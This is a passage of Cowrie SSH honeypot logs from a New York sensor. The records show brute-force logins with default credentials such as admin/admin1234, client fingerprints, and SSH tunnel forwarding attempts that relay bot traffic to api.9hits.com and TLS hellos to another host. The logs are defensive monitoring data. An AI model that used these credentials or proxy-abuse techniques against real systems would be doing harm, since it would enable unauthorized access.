s\\xb5[\\x06|FW\\x067sg>\\xb0y\\xf5\\xd3\\x19zB\\xd7\\xcb\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfbK\\x96\\x12\\x18\\x84\\xb2\\xd7L\\xa9\\xd2w\\xf9\\xcd\\xc3+\\xc4\\x07m\\xcby\\x92\\x0bixY\\x03\\xedV\\xc5h\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:01.528917Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.5","message":"Connection lost after 25.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:04.369982Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":53364,"dst_ip":"10.17.0.5","dst_port":22,"session":"1806ec4daf8d","protocol":"ssh","message":"New connection: 23.148.145.132:53364 (10.17.0.5:22) [session: 1806ec4daf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:08.163353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:08.168066Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:08.261292Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:09.866557Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":56483,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b3ffbf6c11","protocol":"ssh","message":"New connection: 63.141.242.2:56483 (10.17.0.5:22) [session: f3b3ffbf6c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:18.771026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:18.776478Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:18.855110Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.004491Z","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.021862Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MatePad Pro Wi-Fi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I18hUDllZF9TaCUmWTNmaA%3D%3DoYirg8mE%2BKpQH41IGhC0Rvafs91jxjfmzYtyTDtExH9%2FJGP4uP%2FEt%2FuuGcMxPUn0yE%2FvPFAvT2YekyxRoas5y86yxmmWE8bdTgGnExbK7FseltSy67864iXuo94723eGreUEsCnrZfOnOe6aMCKZUmuOyf8s3VZmNLmEX7IHAAfX8bT%2F8YdTuRqACwQ2x0xMXW7z4F46akLb7FkAGL11Ye%2BSyA7ZRm%2FytGfcFwXnfrzC1W3fJJnB6NJGa24fAPcG%2F9dRt1GC0zzud5au4rfi9xonf8BWJYLQff1I0mljMd%2FlnfHwXCA0dgmz4cj3o2%2B4u1rGl0N%2BAtvrkDDzJlLBmOtXgSDRGkbjy0fnIhb8%2F6qAVip2Buwm%2FU%2FsgYJJVivvNAgcHJa05M3k0Q4XTtSJdqLP5N2WUx0%2Bm%2BIfrJXgBzKZaU38mjAEQw6g35FPPRB04ELMe4HeDi3gY5GOcL%2BbG7K2mK2OCBYepke75i07CCnoFmeOSlv0vy6j3Bb%2BDoTSRdkTBY6d0frThQ%2FmYUv3q1eNtdXgVLCrFHVnn9yzX%2F0uRmm5KH21qx%2BwsK6Zagiw8MYjMozMo9NNbLbXhzmz2m%2FlDd1yklRJYdrP6ct5aAThbbZbB7BNHtqxbyeT4P8hCxkMHdPzsgPfDZOcemVkgYtakPmp9f4zmxjRjd926Lvaso50QJ24T9Hn9jcOURtF8OCz1Tp88iLygJDyYxyQHgwi84E%2Fmo35VEE%2FDy5lMOr5MpRA8KgA7uufHWA3pTxr0Yib3Hgt7E4WJcXrXtZ4%2FQeeWfoG4E0lgLvbpGtFrsSSQQCie5GqCPJOzEQvxWqfRwOigN4e4S6iTP72a871Onfhs4T9LKJlevVrFq47QVGjsChbe%2Fas3UBuhFsfOOOKYaFHKz5xp9bpvh7I46Ef%2BhDt473EPDxNhIHrX1yMm8sOgzYRzgq2Vdtvjv0M%2Bm3yz7CFI3ajS87WZlGDQM6RWQCrckEcVI%2BrvHIUzHHcaAmmoCwPOCrvVcaNT%2FiALtpBAO3zwOqIDcXZNW%2BcNoqcC0AaMUV4ls8Vj4W3FEKGa129m0W%2BylmFdh68gqimXNtP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; MatePad Pro Wi-Fi) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I18hUDllZF9TaCUmWTNmaA%3D%3DoYirg8mE%2BKpQH41IGhC0Rvafs91jxjfmzYtyTDtExH9%2FJGP4uP%2FEt%2FuuGcMxPUn0yE%2FvPFAvT2YekyxRoas5y86yxmmWE8bdTgGnExbK7FseltSy67864iXuo94723eGreUEsCnrZfOnOe6aMCKZUmuOyf8s3VZmNLmEX7IHAAfX8bT%2F8YdTuRqACwQ2x0xMXW7z4F46akLb7FkAGL11Ye%2BSyA7ZRm%2FytGfcFwXnfrzC1W3fJJnB6NJGa24fAPcG%2F9dRt1GC0zzud5au4rfi9xonf8BWJYLQff1I0mljMd%2FlnfHwXCA0dgmz4cj3o2%2B4u1rGl0N%2BAtvrkDDzJlLBmOtXgSDRGkbjy0fnIhb8%2F6qAVip2Buwm%2FU%2FsgYJJVivvNAgcHJa05M3k0Q4XTtSJdqLP5N2WUx0%2Bm%2BIfrJXgBzKZaU38mjAEQw6g35FPPRB04ELMe4HeDi3gY5GOcL%2BbG7K2mK2OCBYepke75i07CCnoFmeOSlv0vy6j3Bb%2BDoTSRdkTBY6d0frThQ%2FmYUv3q1eNtdXgVLCrFHVnn9yzX%2F0uRmm5KH21qx%2BwsK6Zagiw8MYjMozMo9NNbLbXhzmz2m%2FlDd1yklRJYdrP6ct5aAThbbZbB7BNHtqxbyeT4P8hCxkMHdPzsgPfDZOcemVkgYtakPmp9f4zmxjRjd926Lvaso50QJ24T9Hn9jcOURtF8OCz1Tp88iLygJDyYxyQHgwi84E%2Fmo35VEE%2FDy5lMOr5MpRA8KgA7uufHWA3pTxr0Yib3Hgt7E4WJcXrXtZ4%2FQeeWfoG4E0lgLvbpGtFrsSSQQCie5GqCPJOzEQvxWqfRwOigN4e4S6iTP72a871Onfhs4T9LKJlevVrFq47QVGjsChbe%2Fas3UBuhFsfOOOKYaFHKz5xp9bpvh7I46Ef%2BhDt473EPDxNhIHrX1yMm8sOgzYRzgq2Vdtvjv0M%2Bm3yz7CFI3ajS87WZlGDQM6RWQCrckEcVI%2BrvHIUzHHcaAmmoCwPOCrvVcaNT%2FiALtpBAO3zwOqIDcXZNW%2BcNoqcC0AaMUV4ls8Vj4W3FEKGa129m0W%2BylmFdh68gqimXNtP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.025312Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.332397Z","src_ip":"63.141.242.2","session":"f3b3ffbf6c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":43276,"dst_ip":"159.203.135.109","dst_port":22,"session":"55341bb6cae0","protocol":"ssh","message":"New connection: 182.93.50.90:43276 (159.203.135.109:22) [session: 55341bb6cae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.752674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.756645Z","src_ip":"182.93.50.90","session":"55341bb6cae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:20.975056Z","src_ip":"182.93.50.90","session":"55341bb6cae0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer0987","message":"login attempt [root/Qwer0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:21.887014Z","src_ip":"182.93.50.90","session":"55341bb6cae0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.344474Z","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.616632Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03XbV\\xceW\\x02A+\\xae\\xe4\\xc4\\x902r\\x01\\xb8\\x96\\x80h\\x91(\\xb3\\xd9\\xe1\\xc1\\x127\\xc0\\x1c1\\x86a \\xe3\\x9f8_\\x92\\xdb\\xbf\\xa2\\x19\\x9e~\\xf5\\xe6?\\xd3\\x11\\xa9l+Xs0\\x9e\\xdb\\xba\\xcb\\xdeZ\\x1f\\xd9\\xc1G\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa9UI\\x87I\\x13\\x08\\xb1\\x17^k\\xfd\\xd4deOP\\x8aK\\x11\\x0b\\xfa]5cwm\\xbag\\xb5\\xb7\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03XbV\\xceW\\x02A+\\xae\\xe4\\xc4\\x902r\\x01\\xb8\\x96\\x80h\\x91(\\xb3\\xd9\\xe1\\xc1\\x127\\xc0\\x1c1\\x86a \\xe3\\x9f8_\\x92\\xdb\\xbf\\xa2\\x19\\x9e~\\xf5\\xe6?\\xd3\\x11\\xa9l+Xs0\\x9e\\xdb\\xba\\xcb\\xdeZ\\x1f\\xd9\\xc1G\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa9UI\\x87I\\x13\\x08\\xb1\\x17^k\\xfd\\xd4deOP\\x8aK\\x11\\x0b\\xfa]5cwm\\xbag\\xb5\\xb7\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.619251Z","src_ip":"23.148.145.132","session":"1806ec4daf8d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:19:22.642155Z","session":"1806ec4daf8d","protocol":"ssh"}
